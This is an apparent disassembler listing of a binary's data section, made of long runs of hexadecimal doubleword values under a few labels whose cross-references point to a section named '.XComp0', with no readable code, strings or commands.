		dd 6B3CE615h, 2C630079h, 0F3DADFCEh, 0BA302746h, 7D8992FFh
		dd 0F7DB908h, 0D93461FCh, 78204110h, 0D989B997h, 0B090460Ah
		dd 25208CF0h, 6D7C31CAh, 17275C49h, 0D8E28819h,	1BADC792h
		dd 60BF2AE0h, 8F30980h,	9EF4810Fh, 13036158h, 0AB079DBDh
		dd 1B23156Fh, 8F06F100h, 3166E803h, 11D4837Bh, 7FB22A34h
		dd 83289AD6h, 1264E5D2h, 0BC273954h, 754AE257h,	79841CBDh
		dd 64A0D6F1h, 969E2F40h, 7D7CA089h, 96DBDF3Bh, 0FE46F18Ch
		dd 0E5ABB0ACh, 0ED951873h, 6214646Dh, 7F2E9AECh, 0DD258BECh
		dd 0B46C7B32h, 0A283B893h, 9B32837h, 0BAD51F35h, 0B46B40BEh
		dd 2A60483Eh, 8020E25Fh, 662F0691h, 952200C0h, 8916A935h
		dd 75F28F4Dh, 617BDF0Ah, 0D50B31C6h, 5BFD528h, 0C0A0D4AFh
		dd 912D1E06h, 0AD15C513h, 850CD431h, 0F858E43Bh, 0F38A1613h
		dd 0DF00A9E2h, 37ACE145h, 7300291Bh, 0B02FC089h, 260179Fh
		dd 0A05DC216h, 9FF5BC7h, 80B45334h, 4B1CEC7Fh, 31024403h
		dd 459501E1h, 0E95F010Bh, 5FC02BB4h, 94C18BF5h,	0C09DDCB8h
		dd 5A97E5Ah, 8D89C129h,	0EC7FD4CDh, 0BB5381C9h,	99C22E40h
		dd 0A7800FCDh, 0B31E0FFh, 0D9E604ECh, 37CCEE00h, 0CF9E205h
		dd 0CDED00D8h, 0F130023Ah, 0FCF11AC2h, 0DD012E90h, 0EC1DC027h
		dd 0FF8D38h, 5FFCBD10h,	2398751Eh, 8B369B03h, 0D4A5B6h
		dd 67A44A13h, 5653B366h, 0CE7AC000h, 0D808B31h,	3BBA0F5Ch
		dd 6D677B92h, 6382734Dh, 578A3B0h, 2996861Eh, 0B31A8540h
		dd 38A5F56h, 0BB1D9A3Fh, 0F7EB9148h, 740F24F6h,	837E6787h
		dd 0D8729B44h, 93A366h,	1B927B64h, 0C529B41Ch, 3434A3Dh
		dd 51088D76h, 5B5C9098h, 14990070h, 575EA513h, 48729671h
		dd 0DDDA9F00h, 1CEB0BFEh, 0D9200CCEh, 0BC733F3Ah, 0C02FBF01h
		dd 1C5DFE1Fh, 0EC991780h, 0DCA4FD08h, 0D1C79507h, 0FB21E118h
		dd 5C70D882h, 0EED000FFh, 8C1981Dh, 0A9064CE6h,	413CD742h
		dd 1ABE6023h, 0F9E133D4h, 2D52FC00h, 0D22135C3h, 971E2AEBh
		dd 0CFD800C5h, 0C9AE1FEEh, 0E350EA25h, 0AF748C5Dh, 9535A800h
		dd 6897B772h, 4BB41D7Ah, 8265409Fh, 7029AC59h, 7853B900h
		dd 0B21CC7EFh, 37B60658h, 38994394h, 1BA4850Ch,	9619AFh
		dd 0AD64A745h, 91CDA074h, 0CC8DFC01h, 4DC21E99h, 647DC940h
		dd 0EC9B30DFh, 53B217CAh, 7455621Fh, 0D5B01C83h, 0EE139089h
		dd 0F7EB03E6h, 0AD7E252Ah, 9A6C7AD8h, 2FA5C604h, 0D8A97F4Dh
		dd 638CC900h, 40B55678h, 0EC836900h, 1723FB6Ch,	0CDC00009h
		dd 9BBFA82Ch, 4B90E5DAh, 91E6690Ch, 0C3482F8h, 5425360Bh
		dd 0D401D111h, 0AF97C342h, 6C87D03Dh, 71D2EE09h, 92010D19h
		dd 5200D777h, 0FE1C6088h, 42400025h, 6D3CB178h,	0C6032AC9h
		dd 7B634449h, 438E9062h, 10A70352h, 2A785CADh, 0E1BDC7F8h
		dd 7358BEA0h, 6F7D6000h, 5FA16686h, 408901D2h, 0AC559C4Dh
		dd 13F1F028h, 3100AB77h, 5E59C41Dh, 7547C70h, 17A089BBh
		dd 33C260B3h, 6101838Ah, 0B7608CBFh, 3C24E19Ch,	78A10C5Eh
		dd 1F11A2DBh, 72A76203h, 0CF18CC7h, 9DB16E15h, 6D0E94B7h
		dd 0C09B6852h, 0C713F272h, 4CFC98E5h, 3306D6D7h, 3B3A43D0h
		dd 24CAB700h, 0B02EB0Ah, 0F02B1BD6h, 1DD91D8Dh,	0E107E0F9h
		dd 5821321Ah, 0C8E74319h, 1A2D438h, 9B6B9F43h, 0E4746D81h
		dd 59142D39h, 15C06677h, 0BBDF30h, 81C9090Bh, 1410E212h
		dd 75E056F8h, 46B168A0h, 0CF5FA400h, 5CA71116h,	0A81299A5h
		dd 4E7C24FBh, 93370019h, 4E38174h, 508D61Fh, 0FB7E9DC6h
		dd 59780351h, 4821946Fh, 408EA000h, 7C97806Ch, 7D419A01h
		dd 0B816247Eh, 42870F66h, 0C8B10CDDh, 90904543h, 0C0597C24h
		dd 37BE6B1Eh, 0B4901DF4h, 0FEA049A2h, 17BF60BAh, 40AF3F3Ch
		dd 0C6A9B3Ah, 1BB0C98Ah, 45CA0026h, 78259950h, 2A020DD6h
		dd 614647C4h, 9065637Dh, 0F5A9B5h, 0F8B6A46Bh, 42AD9FFh
		dd 5C509DE8h, 77441AA8h, 759FA0ECh, 7DB42457h, 0CB880660h
		dd 2F006DB2h, 696C9D40h, 1D579B0h, 5B52B716h, 4097705Ch
		dd 6C61ACACh, 33123298h, 0D200956Bh, 0A0BB5C80h, 5A47C0DDh
		dd 5EC064ADh, 0AB008C74h, 54787F2Ah, 67B0A3B3h,	5E6F27CAh
		dd 1199E446h, 0C5691609h, 797E0036h, 2449B651h,	0CC4649Fh
		dd 73C85DA3h, 3576A100h, 0A706B155h, 0E19B5887h, 0AE6E6680h
		dd 0F2287723h, 2E49800Ch, 0A1E860D9h, 1C7C5E8Dh, 0CA655287h
		dd 4D21184h, 98A54A2Dh,	0B51C1894h, 7CC07254h, 0C7ED4FC5h
		dd 1294007Ah, 2FCBF981h, 15007EDDh, 3EF314B8h, 0EF1AC1h
		dd 3CA1865Fh, 19F560B4h, 66836A18h, 789E3DFCh, 29E03B6Bh
		dd 64D96100h, 51D4D870h, 0D623AA03h, 0E095C140h, 4C08FDDEh
		dd 0B3004885h, 1246FE05h, 0A3605E84h, 109E3104h, 8135030Dh
		dd 413D40DBh, 0CDBAB212h, 63081400h, 1B2F8Fh, 1F9CDD7Eh
		dd 6C19239Dh, 4730A503h, 0D7454AA6h, 91BA3560h,	83A40058h
		dd 34B9527Ch, 2200D165h, 0EA950BDh, 5459AEh, 0CB787185h
		dd 239CD9B0h, 9028739Bh, 1398348h, 0E9F510E8h, 0F3D4BA45h
		dd 7273D02h, 0DB0600F2h, 651896F9h, 0B200C786h,	9F75929Ch
		dd 21A02ADh, 0DD713979h, 0D846B10Eh, 4027C007h,	4C706E9Fh
		dd 3CC767A0h, 3BFF861Eh, 238114B9h, 0BF42DE4h, 20F547E1h
		dd 41CEF20Dh, 6EAD4C1Fh, 88FCE33Dh, 4B50009Bh, 48D60191h
		dd 705D5A65h, 241E3526h, 0AA4C2680h, 0F6A24D7Eh, 1CC824h
		dd 5B0E7F8Ah, 3972AFBBh, 35FC0B01h, 913B4F0Ch, 20D9B440h
		dd 798A20F3h, 0F41A0702h, 0C0F1CDFCh, 0EAC2C9h,	4D7E80AFh
		dd 0E51CD572h, 18F5DA00h, 0B34CEDF6h, 0F2041E0Bh, 0E33C003h
		dd 4B42CDF1h, 89826C1Fh, 7A9C5542h, 383540C0h, 0C6DD009Eh
		dd 0BC0AE227h, 9B055644h, 5DB00D1Ah, 0F5AEC982h, 6AB83343h
		dd 9F0067B8h, 8B54FA2Fh, 3E202E19h, 0B29CA34Ch,	8380C155h
		dd 0FEC29E73h, 67928A80h, 0A350D1ACh, 51094EF2h, 204961BDh
		dd 65FFC3ACh, 2ED50203h, 3C1D3EE3h, 0F9A99540h,	0EA010C7Bh
		dd 0FCE50906h, 1BA82657h, 0EE8400BBh, 5F04EBDFh, 3F00BE50h
		dd 78645B13h, 74B1E8Fh,	0F525BFABh, 0E60A204Ch,	42120529h
		dd 6A073F17h, 0D0E327D4h, 9877FD8h, 3ADC318Eh, 60696C87h
		dd 863B4B08h, 0F9A6C5A0h, 13B74001h, 0D4F601F4h, 0DFFDFE80h
		dd 5EF0A92Ch, 0C5A28524h, 0CACB4000h, 48A80Fh, 0DE13C6C7h
		dd 0D8319C23h, 0F0C8D551h, 0F9141ADFh, 38EC8480h, 0FFEE00FDh
		dd 0ED0A2FDEh, 183E03D1h, 853444CFh, 0FB4223Eh,	0BBAB8C01h
		dd 0EBF8CB54h, 21C0083h, 0A582F05h, 810B8C54h, 0E765755h
		dd 0EA79AC17h, 0A6483FC3h, 964ADC12h, 0BC0C3D28h, 0F4934BFh
		dd 10FCC6h, 93CA2AE9h, 5451299Bh, 79566112h, 92C3C61Ch
		dd 9122AA44h, 0B2E4F3ABh, 0F5B03FBh, 61984199h,	9EA2C7C0h
		dd 9F3D1D01h, 548D7A6Ch, 1781B6E9h, 53E07633h, 0B5C8C8AEh
		dd 0F17B3289h, 200F8014h, 0C588AE63h, 18B3482Fh, 0E6ACB600h
		dd 15A6C3B8h, 0F113DE0Ah, 139D24Fh, 2A72EDDh, 0AF342851h
		dd 31F839A5h, 90CB4100h
		dd 1FBBDF14h, 69EE43B8h, 9A6F4E00h, 3023D174h, 0AA2F0194h
		dd 22E71ECBh, 0FDDC0F7h, 0E998FE02h, 60207718h,	9B9C3Ah
		dd 9926DB32h, 1BF2DA35h, 0EA9338h, 8AA44A47h, 3A8B826Bh
		dd 586956h, 37B8C101h, 40352398h, 55963DBEh, 4F56DA00h
		dd 8F0605E7h, 0C64703A8h, 5C8A7DCFh, 13EE4004h,	0D5C07508h
		dd 35F2F7h, 3AF4E221h, 11BB20BDh, 26F3FA00h, 43AC4BEBh
		dd 4CF200ADh, 58D350C1h, 73172A1h, 97843CC4h, 6C060E29h
		dd 18C3CEAFh, 935E4B04h, 0C2C1B983h, 31800F6Ah,	0C7288F8Ch
		dd 8FA04F46h, 0B57B5875h, 0C0477300h, 0D67D5BECh, 6B1700EFh
		dd 0A25722CBh, 0D8600871h, 7698853Eh, 0B3521F77h, 0BD48008Eh
		dd 9BB86138h, 24D7E230h, 78CA25Fh, 0AF8AB753h, 2819ADA4h
		dd 740D60A8h, 6A1787h, 432935C4h, 26D1739Ah, 0AA12C905h
		dd 0D81C02Bh, 20C85C95h, 73A01859h, 7D87850Ah, 50E2C305h
		dd 0DC4BD766h, 0DCDD11A4h, 0BF00B837h, 0AC658C09h, 0A15C3E29h
		dd 5F7E1648h, 9A449700h, 57B7C71h, 3235B84Fh, 6FF0808Ah
		dd 3A1DBB4Ah, 75C08B2Dh, 0CCC14E72h, 2468181Bh,	0C896874h
		dd 0F35E0EDh, 0CF2C11CFh, 81E18151h, 91AF04C1h,	2E879E06h
		dd 0BD375C60h, 38F77B70h, 4D874515h, 60B0E581h,	0B95114CAh
		dd 0FE0C1F0Fh, 2EC9804Bh, 0EC410B07h, 4F500FF1h, 0E98034B7h
		dd 52BF6BA3h, 6E0E4960h, 33B4D05h, 6859CD01h, 97386F2Dh
		dd 72C4CB24h, 53594902h, 277ABBh, 2B89CB01h, 83241C8Bh
		dd 2904C43Bh, 648660Ch,	8B186948h, 108955F8h, 0DDC581E5h
		dd 0E900FFA0h, 0FB006673h, 0B8B567FFh, 1EFE17F9h, 80C50305h
		dd 2BEE98E0h, 3FF0C46Ch, 6366590Fh, 0B41F2083h,	7C22FCh
		dd 0EB35954Ah, 0AD4D55C6h, 0F89B700h, 7506EECEh, 0C5F4AEh
		dd 8C3EBD5Fh, 88095969h, 0EB4F0F00h, 4187484Ah,	0C7561CC5h
		dd 541D47A9h, 0A301907Ah, 60009016h, 23B09BD9h,	9E93B7h
		dd 0DF11EF3Fh, 94F15721h, 6D81E00h, 0A564756Ch,	1C78E8ECh
		dd 7C04409Dh, 0FD17C701h, 0E82B9438h, 54005D50h, 6009B841h
		dd 12C3F63h, 0FEDD5F1Dh, 6CBD4B6Ch, 0EC3E000Ah,	5963A610h
		dd 0F4ED9D01h, 8F601664h, 74B421E9h, 30EA0D12h,	2254BBD5h
		dd 402358B5h, 89089D8h,	812598B5h, 1CAB3CDBh, 0BD316F0Eh
		dd 2546224Ah, 66B7F464h, 0AF2D004Dh, 4EFE3E74h,	0CF9F32CAh
		dd 0D64C439Dh, 1A0EA790h, 0B2ADF630h, 7538313h,	7339E781h
		dd 25F05CEh, 0FE1AFC92h, 6278F4FBh, 0FC9D5A66h,	2F0A20EAh
		dd 0F96DC083h, 82DA6CE0h, 12D2FA92h, 0E0F8366Dh, 0C654B2FCh
		dd 40B553B1h, 976A5F89h, 8D605276h, 475B96h, 9E56DFFAh
		dd 2F527473h, 6EA2B200h, 0E2019892h, 9AB73561h,	7A0EB13Dh
		dd 1BC5BE20h, 893A0047h, 57AB6DD9h, 92277204h, 591FD361h
		dd 5F331814h, 0D249B9F5h, 0ECA0F7A6h, 0F9B7D1FFh, 64A001F7h
		dd 0D0D430C0h, 12DF2C4h, 3132E160h, 55CC0404h, 5B61050Dh
		dd 40A23AE8h, 5302B328h, 0D7026A39h, 0F33AA84h,	0E8B88150h
		dd 0C1502A7Ch, 0D711BD23h, 0AC32BD55h, 292F8C15h, 4E0870E9h
		dd 82CEF3FBh, 55FE1B06h, 0DB807BB7h, 0F84ACE31h, 0FE955A89h
		dd 16451721h, 0ACC4746Fh, 0C45482A6h, 3565D7E2h, 0F75BA605h
		dd 2F64CDBBh, 985062C2h, 3590ECBh, 1AE799BAh, 0EEFCE225h
		dd 217CED21h, 1F5492D8h, 4EDA5D4Ch, 2C80DE46h, 0B0E651F7h
		dd 9D417BF9h, 0BCE2DF81h, 2F800530h, 445CBC7h, 5A59222Bh
		dd 0F5D9B296h, 0EDB879CAh, 10AFB12Ah, 0C2F7076Fh, 42DBB400h
		dd 0A438C5E2h, 49F301B3h, 44C0B86Fh, 0FC606F1Ch, 0F56AD9B7h
		dd 80AD9B2Ah, 0C49C56EDh, 0A57F6Ah, 60972A1Fh, 4B9BD29h
		dd 51009095h, 0D2229507h, 0C5FD1559h, 59E51B01h, 0E0DDF8EAh
		dd 42FD8D32h, 0BD3A6225h, 71E40127h, 3BB1E12Bh,	0D2F5F80Bh
		dd 0B3C24E0Dh, 0AC45BAAh, 0D84CC1BAh, 1BFC3F24h, 0A77BC7C0h
		dd 0B1BC18Bh, 399741BDh, 0A2DF75BCh, 0D7800B2Ah, 5BEB78D8h
		dd 0BDE6C0F8h, 0D3D6176Dh, 11AEEAE0h, 5A82E9A8h, 9D6C31BBh
		dd 2F2EE7EDh, 0E24C5385h, 0DB719761h, 1EBF6683h, 200E6534h
		dd 0E5331685h, 0F821DEF6h, 0C084CE9h, 3D1F488h,	30BD0F77h
		dd 6F88A4CBh, 8B1AF16Dh, 6003FF8Dh, 0B70A4585h,	96C8F271h
		dd 0CA85728Fh, 0FE141AA5h, 221510B7h, 6203E451h, 2E8DE123h
		dd 0B9E79504h, 92ED82E8h, 0AAB7F7FDh, 7E9ED394h, 57BBEABFh
		dd 7AE060EDh, 5B0AB70Eh, 0AEDAD4F5h, 4604E37Ah,	0C1FC86FEh
		dd 5DD61h, 970F6EB9h, 8D147FBh,	0F1EC136Fh, 0D781D083h
		dd 0CA75C602h, 55C02B56h, 3900F737h, 2AB12CFCh,	0BA5D29A9h
		dd 619424CCh, 0DC624793h, 290BB6C7h, 795F2480h,	0EAF5E5CBh
		dd 0A5BD3760h, 26CFB515h, 87FAE944h, 0BD0E32BCh, 53A5E7DEh
		dd 88977822h, 37A68700h, 0F890F7E5h, 0EA095A60h, 14B0EA52h
		dd 0EBB5B761h, 0C821691h, 0E8DEFEA6h, 0BD63BB60h, 93C3DBAh
		dd 0F3197996h, 0CDA9B5EDh, 0BC3F23A8h, 79B79397h, 0DCED121Eh
		dd 0C2AB79B5h, 0BF4E276h, 32577986h, 5900A751h,	82FE842h
		dd 0C8A2247Ch, 0D23432h, 69DB7110h, 0DC002D2Bh,	0B35497CCh
		dd 4B5BFC23h, 758AB8h, 8349EFA9h, 0C45233h, 0A04096D0h
		dd 0B8363580h, 4EC7F12Fh, 4FD69523h, 75E1FF09h,	7B0283B7h
		dd 57DB75F4h, 772D27D1h, 0D904BA18h, 8C025212h,	5D000BE2h
		dd 2F299FA2h, 6B0B4803h, 0D1DA8BBBh, 45C425Fh, 0D2088E09h
		dd 7DEE8ABAh, 61CF11A8h, 454414BDh, 0B706301Fh,	0F660DD25h
		dd 0BD336161h, 80E73ED1h, 0BAD6A4Ah, 787A1580h,	0EED3BFFEh
		dd 17801078h, 0A4D21EC5h, 23D5D919h, 0DE8A16B7h, 29091CE3h
		dd 14F77D95h, 3E868078h, 0BF50028Ah, 56DA6406h,	8960C0E9h
		dd 0FFFEA21Ch, 6A619918h, 1666BFh, 0ACCA082Dh, 73F31D56h
		dd 0F6363B00h, 31C0EB71h, 65774C25h, 4FDC1F27h,	90A89070h
		dd 0D8DA72D6h, 1CBC16E9h, 4489C1F5h, 586EC20Ah,	310BECCCh
		dd 0DE282DB5h, 0D381E02Fh, 0C3B0C1F8h, 23B6895Eh, 1F301DA2h
		dd 69590E2Fh, 0C53C3549h, 0BB8B26C9h, 25E92CF4h, 213D028Eh
		dd 36C7900Eh, 0E24A88F3h, 42037550h, 0EB669821h, 0D579EAFFh
		dd 8745BED1h, 29EB5C94h, 7EDA6BEDh, 0F800CB8Fh,	707840FEh
		dd 0D467C72Eh, 6227EE02h, 6B7CDE50h, 1C597773h,	49AC6A19h
		dd 3CE9B002h, 0D784C5AAh, 0D955A165h, 0F09C3606h, 5DCD65Ch
		dd 8BD9B7EFh, 0AC9EBDFAh, 39058C18h, 9DB663A2h,	845BA0F8h
		dd 1F86F97h, 997C1ADh, 0A728D995h, 97C19627h, 1A76D6FAh
		dd 529103DCh, 0E0A1D80Ah, 0AC5EBDBDh, 0FD0B8C15h, 8433565Fh
		dd 2D1E19B1h, 0DA0260E7h, 4CDD8A50h, 783220DEh,	91831191h
		dd 0E8649A57h, 581C2Bh,	8F71D240h, 0C18CBFC4h, 0EA29E5F0h
		dd 0C02DEC4Bh, 13D2BB17h, 0EE114514h, 31748467h, 0F9DF25ABh
		dd 0EB30079Eh, 0F31B585Ah, 9CA07064h, 0D4B5EE4Fh, 0E580503Ch
		dd 0A7904CB9h, 0FBAAB21Eh, 0BE2C3301h, 166FD6B5h, 0B013F7B0h
		dd 240996FBh, 3A623FF3h, 81108148h, 2B254B1Fh, 57CBAAh
		dd 0DDB05D52h, 0B37F9A7h, 830F903Eh, 8E3D2DF9h,	12B46050h
		dd 660A88EFh, 8696BA04h, 11DB9061h, 0E99747C0h,	46040DD9h
		dd 81A970BAh, 0DDC8F5C1h, 89DAD83Eh, 0EA97BD77h, 2D61DFD2h
		dd 0A10D4109h, 0A9E66E2Bh, 960D9AD2h, 0CA5A19A9h, 19134EA6h
		dd 31F0C0F6h, 0CE020EB3h, 63391589h, 0B705FF17h, 0A099BB16h
		dd 66DE28Bh, 18DDB979h
		dd 2E29CA57h, 0E33F5F81h, 7F8A5BEFh, 9766322h, 0E7183D2Dh
		dd 5C50115Ch, 406D8034h, 7BABD1h, 936AA256h, 3326198Dh
		dd 0E1FFA713h, 759D240Bh, 35F5D1C2h, 80159172h,	0B5297DABh
		dd 25989C11h, 0CDADD759h, 6018647Dh, 25DF7A34h,	0A9D16DD6h
		dd 85C5BB81h, 136E39EEh, 9F7BEFEAh, 0ACBDD302h,	0E075F0F3h
		dd 97113514h, 0E202E8CCh, 0C1196ECBh, 99B0F761h, 2458F5BDh
		dd 0A9528B2Bh, 5799059Ch, 3E9D2040h, 4F42D8E5h,	0B50DA45Bh
		dd 8E0F8112h, 83E826D2h, 88D1E617h, 165898AAh, 0B68A9661h
		dd 0D88B1A05h, 6972DC66h, 12D842FFh, 0DE34DE86h, 8284FB31h
		dd 0B43C25F1h, 0BF1F9Dh, 7D37CE54h, 4116430Fh, 9DF3C23Ch
		dd 8D9D2905h, 679BBB1Eh, 2B319C9h, 9EB7B298h, 7B49E22Dh
		dd 259D0415h, 35DABB04h, 82DCFA91h, 79CEBE57h, 2031E45Dh
		dd 0E8502DD9h, 3339EE7Ch, 69E00EFh, 5B1DAE6Eh, 127B5FC4h
		dd 819ABA08h, 9DB0188Bh, 8416EEFEh, 7BF380D5h, 118D2909h
		dd 475D77A9h, 0D65BAC57h, 139BF29Fh, 4966414Dh,	6D5D019Fh
		dd 6018C558h, 0CBD160D8h, 0DF26F73Ah, 0B1550908h, 0C761C7BEh
		dd 5F09D822h, 0BBC4C096h, 5F789FDFh, 0DC4F9Eh, 0BF853A9Bh
		dd 78B37F55h, 54844B5h,	30176FEEh, 2D8BFE65h, 985DC92Dh
		dd 0A92DBDC6h, 0CA7E5B80h, 0F1BBA46Fh, 23882F57h, 3BD10270h
		dd 27FFBD8Ch, 65D5CDFDh, 0EE66018h, 8B2D1B09h, 1369E578h
		dd 0EF7BEB5Eh, 7F03F400h, 50396C1Ch, 0FBEDBF05h, 9EBB4E15h
		dd 0EC3AC0DEh, 17807909h, 8831BD33h, 8298D8C6h,	506010EDh
		dd 61F8245Eh, 1D46DC77h, 4083771Fh, 7AA451E5h, 813FBAFh
		dd 72D48A0Fh, 0B3FB2BBh, 7951E380h, 0D174ADABh,	4FE5EE2Dh
		dd 5632A7FBh, 95FEB40Eh, 0DB8CFF42h, 0DE3A00EAh, 4B0A77E6h
		dd 4001D81h, 87BBA980h,	5F3FA53Bh, 9303A75Bh, 0A91DAC6Bh
		dd 0D7B00C77h, 0FC5BF8DAh, 0F872DBCDh, 1240AD4Fh, 0D1BADAF1h
		dd 1A2515C9h, 0BC3B1E45h, 41D39E33h, 8100E6BCh,	38647AE3h
		dd 0C14D8B31h, 0E217BC67h, 273209A8h, 7E64A057h, 6A830A1Ch
		dd 0C366C0C0h, 5F5BFh, 0EAF651A7h, 7DE742FEh, 0D6B7FF73h
		dd 54BBD41Fh, 0B5E29207h, 88BA2E20h, 0E2BB5850h, 0A80FFFCFh
		dd 146090EFh, 5F2B0BE4h, 1ED1BDh, 1722D79h, 8F2D4134h
		dd 963BD514h, 51C8BAACh, 0FAF69D5Fh, 0C095EC42h, 43E2D3Fh
		dd 79CF6D75h, 7431BB9Eh, 0E67F5F57h, 2CB900AFh,	4F49135Ch
		dd 307A09F7h, 7C85904Eh, 6E3589F9h, 99C03BDBh, 9450FB97h
		dd 7569ED25h, 1B80E5B7h, 0CD8D01F3h, 847D8212h,	10131FE8h
		dd 0F20BD9B9h, 2BD8FE2Ah, 0C2DE3625h, 7843F3FEh, 914D9589h
		dd 9D2B099Eh, 0F5A5625Dh, 6CC4DC4Ch, 0BBBC17B9h, 2BA9019Eh
		dd 7B6A3C4Ch, 4BF0A9E6h, 2D4B9EE8h, 66828C8h, 9BA3CE88h
		dd 5A0078BBh, 70B24566h, 1A13E011h, 6E10998Dh, 0C2690F5Ch
		dd 69F55665h, 21BDED82h, 0E99BD125h, 3AF621C0h,	1497D3D2h
		dd 0B7544EE2h, 0A5B003BBh, 0F83B38F2h, 12EC209Eh, 0BF026ACFh
		dd 83009F6Eh, 34FCE1F5h, 0B32C9012h, 680345F9h,	0CD3558CCh
		dd 2B6AC8Ch, 34B2C1CEh,	64EC4FB8h, 0E1853117h, 22E9E944h
		dd 0FCEC38EFh, 40382A41h, 83F19C80h, 0DE00F25Bh, 4E550DAEh
		dd 5C41FD37h, 7B125836h, 4BE1E3B9h, 688263DBh, 94E0C60Ah
		dd 81882505h, 0BEF27FDBh, 96A74F40h, 2AC12083h,	0AC169E59h
		dd 0F3BD58CAh, 36E5Ah, 26C4F38h, 26F68296h, 803B625h, 6D250B65h
		dd 601BC4F8h, 1E75623Bh, 57E2A479h, 40CA30DBh, 0C52C961Fh
		dd 6080A5D4h, 87B272E4h, 9E9C0B70h, 0E1578D31h,	0AC2F5B80h
		dd 0E85BAA43h, 9533C722h, 9299D939h, 13FA0901h,	0B5F73192h
		dd 801A9108h, 5C09E9E7h, 19903ADEh, 0F0599595h,	3605601h
		dd 2E13419Dh, 0B16C98h,	602B8637h, 61591EDAh, 0FF6A5B16h
		dd 8EB89EADh, 0BEBBFE02h, 0E125C1D4h, 0F134DD61h, 4B4DEC89h
		dd 1046CA18h, 0A04A010Ch, 31D3D965h, 85E7CCAFh,	61BB8162h
		dd 8E02DDB0h, 0E60028B1h, 27575270h, 89579D8Bh,	0E44182B1h
		dd 0AEC67D71h, 0C9259CB6h, 0DC7BD15Eh, 0AE908485h, 6EE65700h
		dd 0A1B5294Eh, 0B68DC221h, 4890BAC8h, 0D9C20401h, 0B2ED595h
		dd 0E82805h, 617D4913h,	83248AAh, 40041A5Fh, 880DE5BAh
		dd 2B27E2F7h, 0B2D610C8h, 69E3123Dh, 2D75F463h,	7AE98511h
		dd 0D5CB800Ch, 0F5E5FBCAh, 7B212F01h, 262F1E75h, 4D21126Fh
		dd 0E62F2Eh, 0A06A510Bh, 0FEC05D8Ah, 5F6267B7h,	5E0C259Ch
		dd 450A6481h, 31BF39E9h, 2F1B6B77h, 6DBC7434h, 2271884Bh
		dd 4748FF8Ah, 0B397F98Bh, 0E7480A72h
		db 67h,	14h, 0A1h
byte_524247	db 20h			; DATA XREF: .XComp0:00453064o
					; .XComp0:0045307Co ...
		dd 0ABBB3D64h, 0F64C3392h, 0A25B106Dh, 87965229h, 8323F23Eh
		dd 0EE275F7Dh, 4E26FCC5h, 0B9DABF96h, 6A1C9892h, 8988D90Ch
		dd 26F8C01Fh, 84D4CCB9h, 0BC7ADF80h, 5B6E5E23h,	0BB5E2709h
		dd 3D0877F6h, 0ADFC1321h, 0A6B8A1h, 199B696Bh, 1B037074h
		dd 81539500h, 0BD5437DFh, 0BD5F5F50h, 0DB80C052h, 48D22BCFh
		dd 0D25AE09h, 1E97DCC4h, 2951124Ah, 2B8DFFBDh, 800C9A2Ah
		dd 85A17723h, 829D0B9Ch, 0B5F7F0B7h, 0E6B02D0Fh, 0E0045A83h
		dd 5C6137C2h, 0BD0BD8F6h, 0EDDE3239h, 1746DEh, 0C220147Fh
		dd 25F32BBFh, 3BE50BFBh, 950BB068h, 0F44EDC19h,	0C401A20Bh
		dd 5E0E9239h, 348D4029h, 0D700FF2Dh, 6BBEEA36h,	55E1BD23h
		dd 292ED120h, 5625DE52h, 0FBD895FBh, 514AC560h,	57E30043h
		dd 0F00CEA6Ch, 603BD1Dh, 0F5F31FC3h, 75EFB5D1h,	0F6AAEC4h
		dd 0D099CD03h, 62AFC4D5h, 0E0422E3Ch, 0D9A76D74h, 0C870AF01h
		dd 14972E90h, 4963800h,	0CF6EAB4Ah, 21D87E2Dh, 441B1497h
		dd 0C7778085h, 421A9497h, 0FE8B163Fh, 8A79A8A8h, 535FD940h
		dd 5513C9E6h, 28E914D8h, 1100C7ECh, 0EB768E0Dh,	133A22AFh
		dd 0AF6D9D23h, 52FE0694h, 0DD7BEEE4h, 16CBCA0Eh, 0F9841240h
		dd 95B41A6h, 856E31EFh,	0AFE63E8Dh, 4A013A10h, 9FCD2020h
		dd 158E006Ah, 666312D8h, 100993Ch, 0A64C2711h, 957A0FBEh
		dd 0D453CFBAh, 7D2CFA53h, 6D5D643Ah, 0E0A340F1h, 37658B5h
		dd 407E8A24h, 0B320FA27h, 8342CD2h, 90002CA5h, 0BED6BF60h
		dd 0B730071Eh, 0AB50615Bh, 0F90F55C4h, 5F0126C7h, 0A63B0300h
		dd 0B1CB48E3h, 0EE0B965Ah, 9061D681h, 0B7F04C66h, 2AE33EB4h
		dd 108F1FF0h, 4B467CC7h, 2F12BE0h, 0FB726824h, 0BDC21E99h
		dd 8DFE01F5h, 57E686F8h, 0A9C0126Dh, 2D67F056h,	96D4F34Ah
		dd 0D94710C9h, 3B437BA2h, 0C216D453h, 80BEACB6h, 639CC33Dh
		dd 3B501608h, 5FFFC88Bh, 0DC362FE3h, 0DC9201Ch,	0DEC4E92Dh
		dd 25ED42FBh, 9F27167Dh, 60408B4Dh, 57AD723h, 0FC67210h
		dd 0F1541087h, 0EFECDE02h, 0B15E6177h, 0D9CDF327h, 0A3312F9Ch
		dd 0E66EBAB3h, 27E9B47Ch, 0C28D8E84h, 2E5DBD3Eh, 0B309F7DAh
		dd 0A628F4AEh, 0A900DECDh, 2D6FE43Bh, 4816298h,	0DCE9ECEBh
		dd 0A4DABB29h, 26C215C8h, 2C5595Dh, 2194847Fh, 6316860h
		dd 298CF3Ch, 6CD88F55h,	0FB82F7D5h, 5DE94C04h, 0C2152FFAh
		dd 5B6B0070h, 0A6FEBB96h, 50720FFDh, 0F632DE8Ah, 0DA3E0D1h
		dd 1DB32FF8h, 8B07A67Bh, 0F24068DEh, 0A0601826h, 95C937B2h
		dd 0BE6170D4h, 0B42F539Eh, 0F104999Bh, 8DFC1839h, 88AB9AFEh
		dd 0BF4C017h, 7B41AD2h,	0B5F5BF01h, 0A692602h, 0ABB7A912h
		dd 41831CDFh, 0A3E0E948h, 8102F8A9h, 3BFF78E7h,	0BDF14C51h
		dd 0A95F6242h, 70D75B30h, 120938B3h, 0FC9D0983h
dword_524550	dd 0EFFE450Bh, 1823B67Bh, 5DDAE900h, 9BBC4C8h, 22F3BE8Eh
					; DATA XREF: .XComp0:00452F54o
		dd 61445871h, 4CD77BBEh, 0E4B0F82h, 709E0B36h, 232E2F6Bh
		dd 9BF73A12h, 5E45DBF2h, 0BC60A914h, 476500AEh,	8395C814h
		dd 0FA90809Fh, 82BC714Fh, 2FDFD4EEh, 12A65CFFh,	8435F331h
		dd 0DEEE045Eh, 76EF805Eh, 76D88B1Ah, 2BB20A81h,	5BFD38DDh
		dd 8506A8E5h, 2AEA8927h, 0EB9980FEh, 9AE16F68h,	0B2094E17h
